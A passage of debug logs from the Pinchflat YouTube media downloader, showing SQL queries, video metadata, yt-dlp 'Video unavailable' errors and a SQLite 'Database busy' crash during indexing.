s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:03.118 [debug] QUERY OK source="sources" db=243.3ms idle=253.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:03.118 [debug] QUERY OK source="media_profiles" db=41.8ms idle=454.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:03.119 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=42.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:03.119 [debug] QUERY OK source="media_items" db=0.4ms idle=42.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140] 22:21:03.119 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Some light edit experiments\nSong: Chikoi the Maid - YMPN\n\nThe Maid House Discord: https://discord.gg/zx57J4aNTr\nMaidcore Discord: https://discord.gg/mGjkk8aJym\n\nVisual artist: Hetza\nhttps://x.com/Hetzabot\n\nChikoi's social stuff:\nYandex Music: music.yandex.ru/artist/18753014\nSpotify: https://open.spotify.com/artist/57LJ0REqRqqMJEIMBZotTx\nBoosty (For Donations as well): boosty.to/chikoithemaid\nDonationAlerts: donationalerts.com/r/chikoisan\nSoundcloud: https://soundcloud.com/chikoithemaid \nBandcamp: https://chikoithemaid.bandcamp.com/\nTwitch: https://www.twitch.tv/chikoisan\nVK: https://vk.com/chikoi_is_small", "duration" => 225, "filename" => "/downloads/Grift/Grift/2026-06-11Tired of this Shit[DhOfMv2yDsw].m4a", "id" => "DhOfMv2yDsw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DhOfMv2yDsw", "playlist_index" => 21, "timestamp" => 1781186692, "title" => "Tired of this Shit", "upload_date" => "20260611"} 22:21:03.119 [debug] QUERY OK source="tasks" db=0.5ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:21:03.120 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:03.120 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [201] 22:21:03.152 [debug] QUERY OK source="sources" db=329.1ms idle=395.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:03.152 [debug] QUERY OK source="sources" db=32.2ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:03.218 [debug] QUERY OK source="settings" db=66.1ms queue=31.6ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:03.219 [debug] QUERY OK source="sources" db=66.1ms idle=32.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:03.219 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=97.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-11 14:04:52Z], 4] 22:21:03.220 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=66.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:03.220 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=66.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-11-27 04:39:19Z], 1] 22:21:03.223 [debug] QUERY OK source="settings" db=1.2ms queue=0.4ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:03.226 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:03.227 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:21:05.668 [debug] QUERY OK source="media_items" db=2440.3ms queue=0.1ms idle=4.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:21:05.668 [debug] QUERY ERROR source="media_items" db=2445.9ms queue=0.1ms idle=1.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "d8820385-6ca0-4aa0-b0cd-0104140da76a", false, "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", 7, "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, false, 1, [], 1, ~U[2021-11-27 04:39:19Z], ~U[2026-07-24 02:21:03Z], ~U[2026-07-24 02:21:03Z], "watch in highest quality - all clips from Evangelion/ End of Evangelion/ Rebuilds of Evangelion - rei best girl still", "Asuka Langley Soryu - Alien Blues - eggwonkahoot", "CVe8asL13uc", 132, false, "https://www.youtube.com/watch?v=CVe8asL13uc", "/downloads/Nightcore/Nightcore/2021-11-27Asuka Langley Soryu - Alien Blues - eggwonkahoot[CVe8asL13uc].m4a", false, 1, ~U[2021-11-27 04:39:19Z]] 22:21:05.668 [debug] QUERY OK source="media_items" db=267.7ms queue=0.1ms idle=1.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Some light edit experiments\nSong: Chikoi the Maid - YMPN\n\nThe Maid House Discord: https://discord.gg/zx57J4aNTr\nMaidcore Discord: https://discord.gg/mGjkk8aJym\n\nVisual artist: Hetza\nhttps://x.com/Hetzabot\n\nChikoi's social stuff:\nYandex Music: music.yandex.ru/artist/18753014\nSpotify: https://open.spotify.com/artist/57LJ0REqRqqMJEIMBZotTx\nBoosty (For Donations as well): boosty.to/chikoithemaid\nDonationAlerts: donationalerts.com/r/chikoisan\nSoundcloud: https://soundcloud.com/chikoithemaid \nBandcamp: https://chikoithemaid.bandcamp.com/\nTwitch: https://www.twitch.tv/chikoisan\nVK: https://vk.com/chikoi_is_small", "Tired of this Shit", "56dcff58-2ff8-4488-ae98-b6544777255f", false, "DhOfMv2yDsw", 225, false, "https://www.youtube.com/watch?v=DhOfMv2yDsw", 21, "/downloads/Grift/Grift/2026-06-11Tired of this Shit[DhOfMv2yDsw].m4a", false, false, 4, [], 2, ~U[2026-06-11 14:04:52Z], ~U[2026-07-24 02:21:03Z], ~U[2026-07-24 02:21:03Z], "Some light edit experiments\nSong: Chikoi the Maid - YMPN\n\nThe Maid House Discord: https://discord.gg/zx57J4aNTr\nMaidcore Discord: https://discord.gg/mGjkk8aJym\n\nVisual artist: Hetza\nhttps://x.com/Hetzabot\n\nChikoi's social stuff:\nYandex Music: music.yandex.ru/artist/18753014\nSpotify: https://open.spotify.com/artist/57LJ0REqRqqMJEIMBZotTx\nBoosty (For Donations as well): boosty.to/chikoithemaid\nDonationAlerts: donationalerts.com/r/chikoisan\nSoundcloud: https://soundcloud.com/chikoithemaid \nBandcamp: https://chikoithemaid.bandcamp.com/\nTwitch: https://www.twitch.tv/chikoisan\nVK: https://vk.com/chikoi_is_small", "Tired of this Shit", "DhOfMv2yDsw", 225, false, "https://www.youtube.com/watch?v=DhOfMv2yDsw", "/downloads/Grift/Grift/2026-06-11Tired of this Shit[DhOfMv2yDsw].m4a", false, 4, ~U[2026-06-11 14:04:52Z]] 22:21:05.668 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=fNjKyIoeQ48 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/19/4c/194c537c2d4ed818943c1064b78e0022bcbc9f9dc92f3e66bfb1c7b6249d86d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] fNjKyIoeQ48: Video unavailable. This video is not available 22:21:05.668 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YzokiD0V3NE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c8/60/c8601f962e518454101257120932f5bb22ea4114904354315ac27db3b33a2114.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] YzokiD0V3NE: Video unavailable. This video is not available 22:21:05.669 [error] GenServer #PID<0.2961.0> terminating ** (Exqlite.Error) Database busy INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto 3.12.5) lib/ecto/repo/schema.ex:837: Ecto.Repo.Schema.apply/4 (ecto 3.12.5) lib/ecto/repo/schema.ex:416: anonymous fn/15 in Ecto.Repo.Schema.do_insert/4 (pinchflat 2025.9.26) lib/pinchflat/slow_indexing/slow_indexing_helpers.ex:172: Pinchflat.SlowIndexing.SlowIndexingHelpers.create_media_item_and_enqueue_download/2 (pinchflat 2025.9.26) lib/pinchflat/slow_indexing/file_follower_server.ex:102: Pinchflat.SlowIndexing.FileFollowerServer.attempt_process_new_lines/1 (stdlib 6.2) gen_server.erl:2345: :gen_server.try_handle_info/3 (stdlib 6.2) gen_server.erl:2433: :gen_server.handle_msg/6 (stdlib 6.2) proc_lib.erl:329: :proc_lib.init_p_do_apply/3 Last message: :read_new_lines State: %{handler: #Function<2.109099185/1 in Pinchflat.SlowIndexing.SlowIndexingHelpers.setup_file_follower_watcher/3>, io_device: {:file_descriptor, :prim_file, %{handle: #Reference<0.304696451.716570658.9436>, owner: #PID<0.2961.0>, r_buffer: #Reference<0.304696451.716570625.80740>, r_ahead_size: 65536}}, last_activity: ~U[2026-07-24 02:21:01.821731Z]} 22:21:05.670 [error] yt-dlp download error for media item #189: "ERROR: [youtube] fNjKyIoeQ48: Video unavailable. This video is not available\n" 22:21:05.670 [error] yt-dlp download error for media item #187: "ERROR: [youtube] YzokiD0V3NE: Video unavailable. This video is not available\n" 22:21:05.670 [debug] QUERY OK source="sources" db=0.7ms queue=0.7ms idle=2441.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:05.671 [error] yt-dlp download will not be retried: "ERROR: [youtube] fNjKyIoeQ48: Video unavailable. This video is not available\n" 22:21:05.671 [error] yt-dlp download will not be retried: "ERROR: [youtube] YzokiD0V3NE: Video unavailable. This video is not available\n" 22:21:05.671 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=2182.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:05.672 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:21:05.934 [info] {"args":{"id":189},"id":213,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4440051,"event":"job:stop","queue_time":19080714,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:06.332 [debug] QUERY OK source="media_profiles" db=659.9ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:06.332 [info] {"args":{"id":187},"id":212,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4732678,"event":"job:stop","queue_time":18831731,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:06.332 [debug] QUERY OK source="media_items" db=660.0ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:21:06.333 [info] {"error":"** (exit) %Exqlite.Error{message: \"Database busy\", statement: \"INSERT INTO \\\"media_items\\\" AS m0 (\\\"description\\\",\\\"title\\\",\\\"uuid\\\",\\\"prevent_download\\\",\\\"media_id\\\",\\\"duration_seconds\\\",\\\"livestream\\\",\\\"original_url\\\",\\\"playlist_index\\\",\\\"predicted_media_filepath\\\",\\\"prevent_culling\\\",\\\"short_form_content\\\",\\\"source_id\\\",\\\"subtitle_filepaths\\\",\\\"upload_date_index\\\",\\\"uploaded_at\\\",\\\"inserted_at\\\",\\\"updated_at\\\") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT (\\\"source_id\\\",\\\"media_id\\\") DO UPDATE SET \\\"description\\\" = ?, \\\"title\\\" = ?, \\\"media_id\\\" = ?, \\\"duration_seconds\\\" = ?, \\\"livestream\\\" = ?, \\\"original_url\\\" = ?, \\\"predicted_media_filepath\\\" = ?, \\\"short_form_content\\\" = ?, \\\"source_id\\\" = ?, \\\"uploaded_at\\\" = ? RETURNING \\\"id\\\"\"}","args":{"force":true,"id":1},"id":201,"meta":{},"state":"failure","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":16871914,"event":"job:exception","queue_time":25657015,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:21:06.333 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141] 22:21:06.334 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This version of 'Noosphere' by Guillaume David is a little different from the original, i wanted to put the part i prefer together. Enjoy !\n\nPraise the omnissiah !\n\nFrom the Warhammer 40k game 'Mechanicus'\nArt: https://oniric-realms.tumblr.com/post/160327943468/james-martin", "duration" => 465, "filename" => "/downloads/Grift/Grift/2021-12-10Noosphere (Pipe Organ Cut)[KCR7ovEwtCA].m4a", "id" => "KCR7ovEwtCA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KCR7ovEwtCA", "playlist_index" => 22, "timestamp" => 1639137475, "title" => "Noosphere (Pipe Organ Cut)", "upload_date" => "20211210"} 22:21:06.334 [debug] QUERY OK source="sources" db=0.3ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:06.334 [debug] QUERY OK source="sources" db=0.3ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:06.335 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 